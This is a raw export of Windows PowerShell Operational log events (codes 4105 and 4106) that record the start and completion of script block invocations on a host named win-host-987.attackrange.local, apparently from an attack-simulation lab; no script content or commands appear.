OpCode=On create calls
RecordNumber=2043784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043779
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043777
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043776
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043759
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043753
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043733
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043731
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
